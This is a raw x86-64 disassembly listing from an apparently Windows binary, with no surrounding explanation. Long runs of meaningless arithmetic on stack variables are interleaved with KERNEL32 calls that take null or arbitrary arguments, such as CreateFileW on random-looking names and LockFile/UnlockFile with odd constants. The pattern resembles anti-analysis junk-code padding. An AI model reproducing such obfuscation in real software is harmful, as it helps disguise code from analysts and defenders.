mov eax, dword [rsp + 0x63b8]
mov ecx, dword [rsp + 0x9efc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5284], eax
mov rax, qword [rsp + 0x159c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa294]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x97b4], eax
mov eax, dword [rsp + 0x8ac4]
mov dword [rsp + 0xa2d0], eax
mov rax, qword [rsp + 0x14078]
mov ecx, dword [0x140369b9c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15278]
mov dword [rcx], eax
lea rax, [rsp + 0x9ce4]
mov qword [rsp + 0x15ac0], rax
mov rax, qword [rsp + 0x15148]
movzx eax, byte [rax]
imul eax, eax, 0x43
mov byte [rsp + 0x79e], al
lea rax, [rsp + 0x1f38]
mov qword [0x14036a2a8], rax
mov rax, qword [rsp + 0x14478]
mov ecx, dword [rsp + 0x7db0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa19c], eax
mov rax, qword [rsp + 0x144a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ae8], eax
mov eax, dword [0x1403624c4]
mov ecx, dword [rsp + 0xa0bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a84], eax
mov rcx, qword [rsp + 0x15308]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4b5b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa244], eax
lea rax, [rsp + 0x9960]
mov qword [rsp + 0x15ac8], rax
mov rax, qword [rsp + 0x14ab8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16e]
and eax, ecx
mov rcx, qword [rsp + 0x13d80]
mov byte [rcx], al
movzx eax, word [rsp + 0x2d44]
mov word [rsp + 0x2ddc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15ad0], rax
movsx eax, word [0x140369f2c]
mov rcx, qword [rsp + 0x14a88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28b4], ax
mov rax, qword [rsp + 0x13f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14328]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x559], al
mov rax, qword [0x14036a170]
mov rcx, qword [rsp + 0x13fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14036a270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ea8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e4c]
sar eax, cl
mov dword [rsp + 0x79a4], eax
mov rax, qword [rsp + 0x14660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x779]
cdq
idiv ecx
mov byte [rsp + 0x1c2], al
movzx eax, word [rsp + 0x2c48]
mov word [rsp + 0x2de0], ax
mov rax, qword [rsp + 0x14e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b2c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9da4], eax
mov eax, dword [rsp + 0x9d24]
mov ecx, dword [rsp + 0x9c0c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
lea rax, [rsp + 0x9ab4]
mov qword [rsp + 0x15ad8], rax
mov rax, qword [rsp + 0x14ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7df0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x158e8]
mov dword [rcx], eax
lea rdx, [rsp + 0x42e60]
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa118], eax
lea rax, [rsp + 0x18b]
mov qword [rsp + 0x15ae0], rax
movzx eax, word [rsp + 0x2cc0]
mov word [0x14036a2b0], ax
mov rax, qword [rsp + 0x15398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9354]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e88]
mov rcx, qword [0x14036a070]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14850]
mov dword [rcx], eax
lea rax, [rsp + 0xa0e0]
mov qword [rsp + 0x15ae8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.VBx60G
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15af0], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4c690]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fe4], eax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov dword [rsp + 0x20], 0x3830
mov r9d, 0x23a1
mov r8d, 0x661
mov edx, 0x2ae0
mov rcx, qword [rsp + 0x13f20]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa2d4], eax
mov rax, qword [rsp + 0x143e8]
mov eax, dword [rax]
mov dword [rsp + 0xa2d8], eax
lea rcx, [rsp + 0x4c330]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa290], eax
mov rax, qword [0x140369e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14e80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c64], ax
movsx eax, byte [rsp + 0x754]
mov rcx, qword [rsp + 0x14ba8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x14f50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12e80]
mov word [rcx], ax
mov rax, qword [rsp + 0x13708]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140369d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x13418]
mov ecx, dword [rsp + 0x833c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ffc], eax
mov rax, qword [0x14036a270]
mov eax, dword [rax]
mov dword [rsp + 0xa2dc], eax
movzx eax, byte [rsp + 0x780]
movzx ecx, byte [rsp + 0x746]
shl eax, cl
mov rcx, qword [rsp + 0x14380]
mov byte [rcx], al
movzx eax, word [rsp + 0x2198]
movzx ecx, word [0x140362488]
sar eax, cl
mov word [rsp + 0x2a10], ax
mov rax, qword [rsp + 0x15170]
mov rcx, qword [rsp + 0x14b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150e8]
mov rcx, qword [rsp + 0x14080]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15568]
mov dword [rcx], eax
lea rax, [rsp + 0x9a88]
mov qword [rsp + 0x15af8], rax
lea rdx, [rsp + 0x43330]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9dc0], eax
mov rax, qword [rsp + 0x14118]
mov rcx, qword [rsp + 0x14a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15700]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2a28
mov r8d, 0x2f81
mov edx, 0xb5
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a44], eax
lea rax, [rsp + 0x137c]
mov qword [0x14036a2b8], rax
lea rax, [rsp + 0x75e]
mov qword [rsp + 0x15b00], rax
mov rax, qword [rsp + 0x15550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13318]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e74], eax
lea rax, [rsp + 0x2808]
mov qword [rsp + 0x15b08], rax
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x783]
sub eax, ecx
mov byte [rsp + 0x319], al
lea rax, [rsp + 0x69c]
mov qword [rsp + 0x15b10], rax
mov rax, qword [rsp + 0x149b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13448]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c38], ax
mov eax, dword [rsp + 0xa294]
mov ecx, dword [rsp + 0x9f54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15688]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8044]
mov ecx, dword [rsp + 0xa13c]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a088]
mov dword [rcx], eax
mov eax, dword [0x1403624c4]
mov dword [rsp + 0xa2e0], eax
mov edx, 0x5d4
mov rcx, qword [rsp + 0x13bf0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa2ac], eax
mov rax, qword [rsp + 0x13850]
mov ecx, dword [rsp + 0x9e98]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x142d0]
mov dword [rcx], eax
lea rax, [rsp + 0xa20c]
mov qword [rsp + 0x15b18], rax
mov rax, qword [rsp + 0x15050]
movzx eax, word [rax]
movzx ecx, word [0x1403624cc]
imul eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x13980]
movzx eax, byte [rax]
mov byte [rsp + 0x7b4], al
mov rax, qword [rsp + 0x15a08]
mov rcx, qword [rsp + 0x15a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c50], eax
mov rax, qword [rsp + 0x15a78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa19c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15540]
mov dword [rcx], eax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0x15b20], rax
mov rax, qword [rsp + 0x12fd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13780]
mov qword [rsp + 0x15b28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b28]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140369e30], eax
mov rax, qword [rsp + 0x14720]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ad]
cdq
idiv ecx
mov byte [rsp + 0x69c], al
movzx eax, word [rsp + 0x1b6c]
movzx ecx, word [rsp + 0x2d94]
shl eax, cl
mov word [rsp + 0x169c], ax
movsx eax, byte [rsp + 0x791]
mov rcx, qword [rsp + 0x15310]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x512], al
movsx eax, word [rsp + 0x2858]
mov rcx, qword [rsp + 0x13c38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14920]
mov word [rcx], ax
mov eax, dword [rsp + 0x9d38]
mov dword [rsp + 0xa2e4], eax
mov rax, qword [rsp + 0x150e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9198], eax
lea rax, [rsp + 0x774]
mov qword [rsp + 0x15b30], rax
mov rax, qword [rsp + 0x14f50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov word [rsp + 0x2a0c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.n8o3KP61YrHHubY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15b38], rax
mov eax, dword [rsp + 0x9b04]
mov ecx, dword [rsp + 0x9c54]
and ecx, eax
mov eax, ecx
mov dword [0x140362538], eax
mov rax, qword [rsp + 0x14a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
lea rax, [rsp + 0x9e78]
mov qword [rsp + 0x15b40], rax
mov eax, dword [rsp + 0x5b48]
mov ecx, dword [rsp + 0x9cd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x155a0]
mov dword [rcx], eax
lea rax, [rsp + 0x3d2]
mov qword [rsp + 0x15b48], rax
movzx eax, word [rsp + 0x210c]
movzx ecx, word [rsp + 0x2c38]
add eax, ecx
mov word [rsp + 0x2a94], ax
mov eax, dword [rsp + 0x9644]
mov ecx, dword [0x140362478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9bc8], eax
lea rax, [rsp + 0x9b28]
mov qword [rsp + 0x15b50], rax
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9ff0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13988]
mov rcx, qword [rsp + 0x13408]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14036a1d8]
mov dword [rcx], eax
lea rax, [rsp + 0xa280]
mov qword [rsp + 0x15b58], rax
movsx eax, word [rsp + 0x2d88]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c58], ax
lea rax, [0x140363edd]
mov qword [rsp + 0x15b60], rax
mov rax, qword [rsp + 0x151b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f18]
sar eax, cl
mov rcx, qword [rsp + 0x13d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x14520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f1]
shl eax, cl
mov byte [rsp + 0x785], al
lea rax, [0x140369ce0]
mov qword [rsp + 0x15b68], rax
mov eax, dword [rsp + 0x7c60]
mov ecx, dword [rsp + 0x9a6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fd0], eax
mov rax, qword [rsp + 0x13c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18a4]
and eax, ecx
mov word [rsp + 0x23e8], ax
mov rax, qword [rsp + 0x14870]
movzx eax, byte [rax]
mov byte [0x140363fa7], al
mov rax, qword [rsp + 0x148d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14480]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14770]
mov ecx, dword [rsp + 0x6798]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9bd8], eax
lea rax, [rsp + 0x64e8]
mov qword [rsp + 0x15b70], rax
mov rax, qword [rsp + 0x13978]
mov ecx, dword [rsp + 0xa04c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13948]
mov dword [rcx], eax
lea rax, [rsp + 0x74a]
mov qword [rsp + 0x15b78], rax
mov rax, qword [rsp + 0x15348]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
and eax, ecx
mov word [rsp + 0x2ce4], ax
mov dword [rsp + 0x20], 0x5b1
mov r9d, 0x294d
mov r8d, 0x26e7
mov edx, 0x2fd4
mov rcx, qword [rsp + 0x154d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9c58], eax
mov rax, qword [rsp + 0x14e48]
mov ecx, dword [rsp + 0x5db8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0d0], eax
lea rax, [rsp + 0xa1ac]
mov qword [rsp + 0x15b80], rax
mov rcx, qword [rsp + 0x13ca0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa2e8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4c450]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9be8], eax
mov rax, qword [0x140369bf0]
movzx eax, byte [rax]
mov byte [0x140363fea], al
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x13958]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d84], ax
mov rax, qword [rsp + 0x14cf0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b5], al
movzx eax, word [0x14036a1a4]
movzx ecx, word [rsp + 0x2c18]
add eax, ecx
mov rcx, qword [rsp + 0x13370]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15b88], rax
lea rax, [rsp + 0xa148]
mov qword [rsp + 0x15b90], rax
mov eax, dword [rsp + 0x77ac]
mov ecx, dword [rsp + 0x9fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cd8], eax
mov rax, qword [rsp + 0x155e0]
mov ecx, dword [rsp + 0x9c08]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139d8]
mov rcx, qword [rsp + 0x13880]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x789c], eax
mov eax, dword [rsp + 0x9bd8]
mov rcx, qword [rsp + 0x14ce0]
mov qword [rsp + 0x15b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b98]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14240]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4c8d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9e7c], eax
mov rcx, qword [rsp + 0x142b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x178c]
mov word [rsp + 0x2de4], ax
movzx eax, byte [rsp + 0x556]
mov rcx, qword [rsp + 0x14380]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1403525ba], al
mov rax, qword [rsp + 0x14478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa0d8]
shl eax, cl
mov dword [rsp + 0x9a18], eax
mov eax, dword [rsp + 0x7e50]
mov ecx, dword [rsp + 0x9b64]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
lea rax, [rsp + 0x9c40]
mov qword [rsp + 0x15ba0], rax
mov rax, qword [rsp + 0x14e50]
mov rcx, qword [rsp + 0x15398]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ee0]
mov dword [rcx], eax
lea rax, [rsp + 0x4a8]
mov qword [rsp + 0x15ba8], rax
mov rax, qword [rsp + 0x13508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c38]
and eax, ecx
mov word [rsp + 0x18cc], ax
mov rax, qword [0x140369ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13a58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x13630]
movzx eax, word [rax]
mov word [rsp + 0x2de8], ax
mov rax, qword [rsp + 0x14308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0a8]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369e18]
mov dword [rcx], eax
mov rax, qword [0x140369ca0]
mov rcx, qword [rsp + 0x14338]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a5c]
and eax, ecx
mov word [rsp + 0x19dc], ax
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
movzx ecx, byte [0x140363ede]
add eax, ecx
mov byte [rsp + 0x79a], al
mov eax, dword [rsp + 0x5ac8]
mov ecx, dword [rsp + 0xa0b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15988]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9f4c]
mov dword [rsp + 0xa2ec], eax
mov rax, qword [rsp + 0x13d40]
mov ecx, dword [rsp + 0xa258]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14028]
mov dword [rcx], eax
lea rax, [rsp + 0x5784]
mov qword [rsp + 0x15bb0], rax
mov rax, qword [rsp + 0x148e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14cf0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x173], al
lea rax, [0x14036a1a0]
mov qword [0x14036a2c0], rax
mov eax, dword [rsp + 0x9fa4]
mov ecx, dword [rsp + 0x9d28]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8088], eax
mov rax, qword [rsp + 0x13b28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ee8]
sar eax, cl
mov rcx, qword [rsp + 0x15888]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9ce8]
mov rcx, qword [0x140369d80]
mov qword [rsp + 0x15bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15bb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9664], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9fa0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15bc0], rax
mov edx, 0xd13
mov rcx, qword [rsp + 0x153b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9be0], eax
lea rax, [rsp + 0xa0b0]
mov qword [rsp + 0x15bc8], rax
mov rax, qword [rsp + 0x148e0]
mov ecx, dword [rsp + 0x7cdc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x159e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ec4], eax
lea rax, [0x140362454]
mov qword [rsp + 0x15bd0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2f0], eax
movsx eax, byte [rsp + 0x796]
movsx ecx, byte [rsp + 0x761]
and eax, ecx
mov byte [rsp + 0x760], al
movzx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x15ab8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x785], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cd8]
sub eax, ecx
mov word [0x140369c6c], ax
mov rcx, qword [rsp + 0x133f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x5b1
mov r9d, 0x294d
mov r8d, 0x26e7
mov edx, 0x2fd4
mov rcx, qword [rsp + 0x154d0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa168], eax
mov rax, qword [rsp + 0x132d8]
mov eax, dword [rax]
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x14158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dfc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cd8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x666]
mov qword [rsp + 0x15bd8], rax
mov rcx, qword [rsp + 0x150b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa0c0], eax
movzx eax, word [rsp + 0x2ca4]
movzx ecx, word [rsp + 0x29ac]
sub eax, ecx
mov rcx, qword [rsp + 0x142d8]
mov word [rcx], ax
mov rax, qword [0x14036a288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa24c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa228], eax
mov eax, dword [rsp + 0xa2f4]
mov dword [rsp + 0xa2f8], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0x82e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13498]
mov dword [rcx], eax
lea rax, [rsp + 0x9f7c]
mov qword [rsp + 0x15be0], rax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14598]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1403525ea], al
mov rax, qword [rsp + 0x14690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dbc]
and eax, ecx
mov rcx, qword [rsp + 0x133b8]
mov word [rcx], ax
mov eax, dword [0x140362474]
mov ecx, dword [rsp + 0xa084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a7c], eax
mov edx, 0x2af
mov rcx, qword [rsp + 0x15628]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa2fc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9fa0], eax
mov rax, qword [rsp + 0x14718]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b7c]
shl eax, cl
mov dword [rsp + 0x702c], eax
movsx eax, byte [rsp + 0x761]
mov rcx, qword [rsp + 0x15310]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x135a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f30]
movzx eax, word [rax]
mov word [rsp + 0x2dec], ax
mov rcx, qword [rsp + 0x15a30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x13508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29ac]
xor eax, ecx
mov rcx, qword [rsp + 0x13578]
mov word [rcx], ax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
imul eax, ecx
mov byte [rsp + 0x33a], al
mov rax, qword [rsp + 0x13fa8]
mov ecx, dword [rsp + 0xa248]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa25c], eax
mov rax, qword [rsp + 0x13018]
mov ecx, dword [rsp + 0x7804]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14036a1b4], eax
lea rdx, [rsp + 0x43368]
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa288], eax
mov rax, qword [rsp + 0x149c8]
mov ecx, dword [rsp + 0x9cfc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9db8], eax
mov rax, qword [rsp + 0x13d60]
mov eax, dword [rax]
mov dword [rsp + 0xa300], eax
mov rax, qword [rsp + 0x138d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52a8], eax
lea rax, [rsp + 0x72e]
mov qword [rsp + 0x15be8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx eax, word [rsp + 0x2c0c]
movzx ecx, word [rsp + 0x1ab8]
sub eax, ecx
mov rcx, qword [rsp + 0x153c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13c30]
mov ecx, dword [0x140369c8c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x133d0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x155f
mov r9d, 0x2d12
mov r8d, 0x268c
mov edx, 0x1c08
mov rcx, qword [rsp + 0x14c58]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa170], eax
mov rcx, qword [rsp + 0x15ad0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa304], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
mov dword [rsp + 0xa308], eax
mov rax, qword [rsp + 0x155e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
mov rax, qword [rsp + 0x14148]
mov eax, dword [rax]
mov dword [0x14036a2c8], eax
lea rax, [rsp + 0x2a2c]
mov qword [rsp + 0x15bf0], rax
mov rax, qword [rsp + 0x14978]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x746]
imul eax, ecx
mov rcx, qword [rsp + 0x13858]
mov byte [rcx], al
lea rdx, [rsp + 0x42c30]
mov rcx, qword [rsp + 0x141f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a58], eax
